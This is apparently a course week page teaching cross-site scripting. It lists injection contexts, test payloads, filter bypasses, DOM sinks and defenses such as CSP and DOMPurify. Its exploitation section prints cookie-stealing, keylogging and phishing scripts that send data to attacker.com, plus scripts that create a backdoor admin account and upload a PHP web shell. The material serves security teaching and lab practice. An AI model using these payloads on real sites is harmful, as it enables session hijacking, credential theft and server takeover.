Skip to content
CSY203 Week 06 Intermediate

Week Content

Secure Software & Web Security

Track your progress through this week's content

Opening Framing: The Client-Side Attack

Cross-Site Scripting (XSS) is fundamentally different from server-side attacks like SQL injection. Instead of attacking the application directly, you inject code that executes in other users' browsers. The victim's browser becomes your execution environment.

XSS enables session hijacking, credential theft, keylogging, phishing, and malware distribution. A single XSS vulnerability can compromise every user who visits a page. In applications with administrative interfaces, XSS can escalate to full application compromise.

This week takes you beyond basic XSS to advanced techniques— filter bypasses, DOM-based attacks, exploitation chains, and the creative approaches that find XSS where others miss it.

Key insight: XSS attacks users, not servers. The impact scales with the number of users who encounter your payload.

1) XSS Types and Context

Understanding where and how XSS executes:

XSS Types:

Reflected XSS:
- Payload in request
- Reflected in immediate response
- Requires victim to click link
- Non-persistent

Stored XSS:
- Payload saved to database
- Displayed to all users
- Persistent, wider impact
- More valuable finding

DOM-based XSS:
- Payload processed client-side
- Never sent to server
- JavaScript reads/writes DOM unsafely
- Harder to detect server-side

Injection Contexts:

HTML Context:
<div>USER_INPUT</div>
Payload: <script>alert(1)</script>

Attribute Context:
<input value="USER_INPUT">
Payload: " onfocus=alert(1) autofocus="

JavaScript Context:
<script>var x = 'USER_INPUT';</script>
Payload: ';alert(1)//

URL Context:
<a href="USER_INPUT">
Payload: javascript:alert(1)

CSS Context:
<style>.class { color: USER_INPUT }</style>
Payload: red;}</style><script>alert(1)</script>

Each context requires different payloads!

Identifying Context:

# Submit unique string and find where it appears

Test string: xss12345test

Search response for: xss12345test

Found in:
<div>xss12345test</div>          → HTML context
<input value="xss12345test">     → Attribute context
<script>var x='xss12345test'</script> → JS context
<a href="xss12345test">           → URL context

# Then craft payload for that context

# Multiple contexts may exist
# Test each one separately

Key insight: Successful XSS requires understanding the context. The same payload won't work everywhere.

2) XSS Detection and Testing

Systematically finding XSS vulnerabilities:

Testing Methodology:

1. Identify all input points
   - URL parameters
   - POST data
   - Headers (User-Agent, Referer)
   - Cookies

2. Submit test string
   - Unique identifier
   - See where it reflects

3. Determine context
   - HTML, attribute, JS, etc.

4. Test context-appropriate payloads

5. Check for encoding/filtering

6. Develop bypass if needed

Basic Test Payloads:

# HTML context
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Attribute context (break out)
"><script>alert(1)</script>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='

# JavaScript context (break out)
';</script><script>alert(1)</script>
';alert(1)//
\';alert(1)//

# URL context
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# Event handlers (no script tags)
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>

Testing with Burp Suite:

# Manual testing workflow:

1. Capture request with parameter
2. Send to Repeater
3. Modify parameter with test payload
4. Examine response for:
   - Unencoded reflection
   - Script execution
   - Event handler triggers

# Intruder for fuzzing:
1. Mark injection point
2. Load XSS payload list
   /usr/share/seclists/Fuzzing/XSS/

3. Grep for indicators:
   - alert(
   - onerror=
   - <script

# Check response length changes
# Different lengths may indicate filtering

Useful Polyglots:

# Polyglots work in multiple contexts

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

'"><img src=x onerror=alert(1)//>

</script><script>alert(1)</script>

"'><script>alert(1)</script>

# Try polyglots first for quick detection
# Then refine payload for specific context

Key insight: XSS testing is about finding where input reflects and how it's processed. Systematic testing finds what quick scans miss.

3) Filter Bypass Techniques

Evading XSS protections:

Common Filters:

1. Blacklist keywords (script, alert, onerror)
2. HTML entity encoding
3. Tag stripping
4. Attribute removal
5. WAF rules

Bypass approaches:
- Alternative tags/events
- Encoding tricks
- Case manipulation
- Breaking filter patterns

Tag and Event Alternatives:

# If <script> is blocked:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<object data="javascript:alert(1)">
<iframe src="javascript:alert(1)">
<embed src="javascript:alert(1)">

# Less common events:
onanimationend, onanimationstart
ontransitionend
onpointerover, onpointerenter
onfocusin, onfocusout
onbeforeinput

Case and Spacing Tricks:

# Case variation
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

# Null bytes and whitespace
<script%00>alert(1)</script>
<scr%00ipt>alert(1)</script>
<img/src=x/onerror=alert(1)>
<img	src=x	onerror=alert(1)>  (tab)
<img%0asrc=x%0aonerror=alert(1)> (newline)

# Concatenation (JS context)
'al'+'ert(1)'
eval('al'+'ert(1)')
window['al'+'ert'](1)

# No parentheses
<img src=x onerror=alert`1`>
<script>alert`1`</script>
<svg/onload=alert&lpar;1&rpar;>

Encoding Bypasses:

# HTML entity encoding
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
# &#97; = 'a', spells 'alert'

# Hex encoding
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

# URL encoding in href
<a href="javascript:%61%6c%65%72%74(1)">

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# %25 = %, so %253C = %3C = <

# Unicode encoding
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

# Mixed encoding
<img src=x on\u0065rror=alert(1)>

Filter Logic Exploitation:

# If filter removes <script> once:
<scr<script>ipt>alert(1)</scr</script>ipt>
# After removal: <script>alert(1)</script>

# If filter removes 'javascript:' once:
jajavascript:vascript:alert(1)
# After removal: javascript:alert(1)

# Incomplete tag handling:
<script>alert(1)  (no closing tag)
<script x>alert(1)</script y>  (attributes on close)

# Comment injection:
<script>alert/**/('XSS')</script>
<script>al/**/ert(1)</script>

Key insight: Filters are imperfect. Understanding how they work reveals their weaknesses.

4) DOM-Based XSS

Client-side XSS that never touches the server:

DOM XSS Concept:

Source: Where attacker-controlled data enters
Sink: Where data is used unsafely

Source → JavaScript processing → Sink → XSS

# The payload never goes to server
# Server-side filters don't help
# Must analyze client-side JavaScript

Common Sources:

URL-based sources:
document.URL
document.documentURI
document.location (and .hash, .search, .href)
window.location
window.name

Storage sources:
document.cookie
localStorage
sessionStorage

Message sources:
window.postMessage()
Web Storage events

Input sources:
document.referrer
History API

Dangerous Sinks:

HTML sinks:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()

JavaScript execution sinks:
eval()
Function()
setTimeout() with string
setInterval() with string
setImmediate()

URL sinks:
location = 
location.href =
location.assign()
location.replace()
window.open()

jQuery sinks:
$().html()
$().append()
$().prepend()
$().after()
$().before()

Testing DOM XSS:

# Analyze JavaScript code:

1. Search for sinks in JS files
   grep -r "innerHTML" *.js
   grep -r "document.write" *.js
   grep -r "eval(" *.js

2. Trace data flow to sink
   - Where does the data come from?
   - Is it sanitized?

3. Test with payload in source

# Example vulnerable code:
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = search;

# Payload:
https://target.com/page#<img src=x onerror=alert(1)>

# DOM Invader (Burp extension)
# Automatically finds DOM XSS

DOM XSS Examples:

# document.write with location.search
var query = location.search.substring(1);
document.write("Search: " + query);

# Payload: ?<script>alert(1)</script>

# innerHTML with hash
var hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;

# Payload: #<img src=x onerror=alert(1)>

# eval with URL parameter
var data = new URLSearchParams(location.search).get('data');
eval(data);

# Payload: ?data=alert(1)

# jQuery html() with user input
var msg = $.urlParam('message');
$('#output').html(msg);

# Payload: ?message=<script>alert(1)</script>

Key insight: DOM XSS requires JavaScript analysis. Traditional server-side testing won't find it.

5) XSS Exploitation

Beyond alert boxes—real attack impact:

Session Hijacking:

# Steal cookies (if not HttpOnly)

<script>
document.location='https://attacker.com/steal?c='+document.cookie
</script>

<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>

<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>

# Even with HttpOnly, can perform actions AS the user

Keylogging:

<script>
document.onkeypress = function(e) {
  new Image().src = 'https://attacker.com/log?k=' + e.key;
}
</script>

# More sophisticated:
<script>
var keys = '';
document.onkeypress = function(e) {
  keys += e.key;
  if(keys.length > 20) {
    new Image().src = 'https://attacker.com/log?k=' + encodeURIComponent(keys);
    keys = '';
  }
}
</script>

Phishing:

# Replace page content
<script>
document.body.innerHTML = '<h1>Session Expired</h1>\
<form action="https://attacker.com/phish" method="POST">\
Username: <input name="user"><br>\
Password: <input name="pass" type="password"><br>\
<input type="submit" value="Login">\
</form>';
</script>

# Overlay login form
<script>
var overlay = document.createElement('div');
overlay.innerHTML = '...phishing form...';
overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999';
document.body.appendChild(overlay);
</script>

Admin Account Creation:

# Use stored XSS to attack admins

# When admin views page with stored XSS:
<script>
// Create new admin user via AJAX
fetch('/admin/users/create', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    username: 'backdoor',
    password: 'attacker123',
    role: 'admin'
  }),
  credentials: 'include'  // Send cookies
});
</script>

# Or change admin password
<script>
fetch('/admin/password/change', {
  method: 'POST',
  body: 'new_password=hacked123',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  credentials: 'include'
});
</script>

XSS to RCE (via Admin):

# If admin panel has file upload or code execution:

<script>
// Upload web shell through admin interface
var formData = new FormData();
formData.append('file', new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/x-php'}), 'shell.php');

fetch('/admin/upload', {
  method: 'POST',
  body: formData,
  credentials: 'include'
});
</script>

# XSS → Admin session → File upload → RCE

Key insight: XSS impact is limited only by what JavaScript can do in the victim's authenticated context.

Real-World Context: XSS in Modern Applications

XSS in today's web landscape:

Framework Protections: Modern frameworks (React, Angular, Vue) auto-escape output by default. But developers bypass these protections with dangerouslySetInnerHTML, v-html, or [innerHTML]. These bypasses are prime XSS targets.

CSP Defense: Content Security Policy can block inline scripts. But CSP is often misconfigured or includes unsafe-inline. CSP bypass is an advanced skill.

Bug Bounty Reality: XSS remains one of the most commonly reported vulnerabilities. Basic reflected XSS payouts have decreased, but stored XSS and DOM XSS in sensitive contexts still earn significant rewards.

MITRE ATT&CK Mapping:

  • T1059.007 - JavaScript: XSS execution
  • T1539 - Steal Web Session Cookie: Session hijacking
  • T1056.004 - Web Portal Capture: Keylogging, phishing

Key insight: XSS is evolving. DOM XSS and framework-specific bypasses are the new frontier.

Guided Lab: XSS Exploitation

Master XSS through progressive challenges.

Step 1: Reflected XSS

# DVWA XSS (Reflected) - Low security

# Test basic payload:
<script>alert('XSS')</script>

# Test with document.domain:
<script>alert(document.domain)</script>

# Note the context where payload appears

Step 2: Stored XSS

# DVWA XSS (Stored) - Low security

# Submit payload in guestbook:
<script>alert('Stored XSS')</script>

# Refresh page - payload executes again
# This affects ALL users viewing the page

Step 3: Filter Bypass

# DVWA - Medium/High security

# Medium might filter <script>
# Try alternatives:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>

# Analyze what's being filtered
# Craft bypass

Step 4: DOM XSS

# DVWA XSS (DOM) or PortSwigger labs

# Check URL parameters used in JavaScript
# Examine source code for sinks
# Test payloads in URL hash or parameters

# Example:
https://target.com/page#<img src=x onerror=alert(1)>

Step 5: PortSwigger Labs

# Complete these labs:
# 1. Reflected XSS into HTML context
# 2. Stored XSS into HTML context
# 3. DOM XSS in document.write
# 4. Reflected XSS with event handlers blocked
# 5. Reflected XSS in canonical link tag

# https://portswigger.net/web-security/cross-site-scripting

Reflection (mandatory)

  1. What made stored XSS more impactful than reflected?
  2. Which filter bypass technique worked best?
  3. How was DOM XSS different to detect?
  4. What real-world damage could your payloads cause?

Week 06 Quiz

Test your understanding of Cross-Site Scripting (XSS).

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Week 6 Outcome Check

By the end of this week, you should be able to:

Next week: Access Control and IDOR—bypassing authorization to access other users' data.

🎯 Hands-On Labs (Free & Essential)

Apply what you learned through practical XSS exploitation exercises. Complete these labs before moving to reading resources.

🕷️ PortSwigger: XSS Labs - Complete Series (ALL 30 LABS)

What you'll do: Master every XSS type through comprehensive hands-on practice:

Reflected XSS (Labs 1-10):
• Basic HTML context injection
• Attribute context escape
• JavaScript string context
• Event handler exploitation
• Bypassing filters and WAFs

Stored XSS (Labs 11-20):
• HTML context injection
• Anchor href attributes
• Comment functionality
• Filter evasion techniques

DOM-based XSS (Labs 21-30):
• document.write sinks
• innerHTML sinks
• jQuery vulnerabilities
• URL-based DOM XSS
• AngularJS sandbox bypass

Why it matters: PortSwigger labs are the industry-standard XSS training. These 30 labs cover every XSS context, filter bypass, and exploitation technique you'll encounter in real applications. Completing all 30 labs transforms you from XSS beginner to expert.
Time estimate: 5-7 hours (comprehensive mastery)

Start PortSwigger XSS Labs →

🎮 TryHackMe: Cross-site Scripting

What you'll do: Interactive XSS tutorial covering reflected, stored, and DOM-based XSS with guided exercises. Learn common payloads, filter bypasses, and real-world exploitation scenarios.

Why it matters: TryHackMe provides guided explanations and immediate feedback, perfect for reinforcing concepts from PortSwigger labs. The interactive format helps solidify your understanding of XSS fundamentals.
Time estimate: 1.5-2 hours

Start TryHackMe XSS Room →

🧃 OWASP Juice Shop: XSS Challenges

What you'll do: Find and exploit multiple XSS vulnerabilities in a realistic e-commerce application. Practice on reflected, stored, and DOM-based XSS in various contexts including search, reviews, profiles, and order tracking.

Why it matters: Juice Shop simulates a real-world vulnerable application. Unlike isolated lab exercises, you'll need to find XSS vulnerabilities yourself through testing, just like in actual penetration testing or bug bounty hunting.
Time estimate: 2-3 hours

Start Juice Shop XSS Challenges →

🔧 XSS Game by Google

What you'll do: Play through 6 progressive XSS challenges created by Google's security team. Start with basic injection and advance to complex filter evasion, demonstrating creative exploitation techniques.

Why it matters: Google's XSS Game teaches you to think like an attacker, finding creative ways around filters. The gamified format makes learning filter bypass techniques engaging and memorable.
Time estimate: 1-2 hours

Start XSS Game →

💡 Lab Strategy: Complete PortSwigger labs first for comprehensive coverage. Then use TryHackMe for reinforcement, Juice Shop for realistic practice, and XSS Game for creative filter bypasses. This combination builds complete XSS mastery: 750 total XP, 9-14 hours of world-class training!

🛡️ Defensive Architecture & Secure Design Patterns

XSS succeeds when untrusted data reaches the browser unsafely. Defensive design enforces context-aware encoding and locks down the browser with CSP and Trusted Types.

Context-Aware Output Encoding

Core principle:
- Encode for the context you render into
- HTML, attribute, JavaScript, URL, and CSS contexts differ

Preferred patterns:
- Escape HTML by default
- Use safe templating for attributes
- Avoid string-building in JavaScript

Browser-Enforced Defenses

Defense layers:
- Content-Security-Policy (no inline scripts)
- Trusted Types to block dangerous sinks
- DOMPurify for user-generated HTML
- Framework auto-escaping (avoid bypasses)

Real-World Breach: British Airways Magecart 2018

Attackers injected malicious JavaScript into BA's payment page, skimming card data in real time. Lessons learned: strict CSP, subresource integrity, and monitoring for script changes reduce the blast radius of XSS and supply-chain abuse.

Defensive Labs

Lab: Deploy a Strict CSP

Implement a restrictive CSP (no inline scripts), test with CSP Evaluator, and document blocked payloads.

Lab: Fix XSS with Contextual Encoding

Remediate a vulnerable page by applying HTML/attribute/JS encoding correctly and verify payloads no longer execute.

Lab: Implement Trusted Types or DOMPurify

Enforce Trusted Types for `innerHTML` sinks or sanitize user content with DOMPurify and document safe usage.

📚 Building on CSY101 Week-13: Threat model client-side attack surfaces and trust boundaries. CSY101 Week-14: Map controls to NIST 800-53 (SI/SA) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize XSS fixes.

Reading Resources (Free + Authoritative)

Complete the required resources to build your foundation.

Lab: Comprehensive XSS Assessment

Goal: Perform complete XSS testing from detection to impactful exploitation.

Part 1: Vulnerability Discovery

  1. Test all input fields for reflection
  2. Identify injection contexts
  3. Document all XSS entry points
  4. Classify as reflected/stored/DOM

Part 2: Filter Analysis

  1. Identify what characters/tags are filtered
  2. Test encoding bypasses
  3. Test alternative event handlers
  4. Document working bypass payloads

Part 3: DOM XSS Testing

  1. Analyze JavaScript source files
  2. Identify sources and sinks
  3. Test DOM-based payloads
  4. Document DOM XSS findings

Part 4: Exploitation

  1. Create session stealing payload
  2. Create keylogging payload
  3. Create phishing payload
  4. Test payloads in controlled environment

Part 5: Impact Assessment

  1. Evaluate impact of each XSS found
  2. Consider what actions could be performed
  3. Document realistic attack scenarios

Deliverable (submit):

Checkpoint Questions

  1. What is the difference between reflected, stored, and DOM XSS?
  2. Why does injection context matter for XSS payloads?
  3. What is a source and sink in DOM XSS?
  4. How can XSS lead to account takeover even with HttpOnly cookies?
  5. What is the purpose of Content Security Policy?
  6. How do modern frameworks try to prevent XSS?

Weekly Reflection

Reflection Prompt (200-300 words):

This week you mastered Cross-Site Scripting—the quintessential client-side attack. You bypassed filters, found DOM vulnerabilities, and developed exploitation payloads.

Reflect on these questions:

A strong reflection will consider XSS from both offensive and defensive perspectives.

Verified Resources & Videos

XSS mastery is a core skill for web application testers. The techniques you've learned—context analysis, filter bypasses, DOM analysis, exploitation—apply across the web. As applications become more JavaScript-heavy, DOM XSS becomes more important. Next week: access control vulnerabilities, where we bypass authorization to access unauthorized data.

← Previous: Week 05 Next: Week 07 →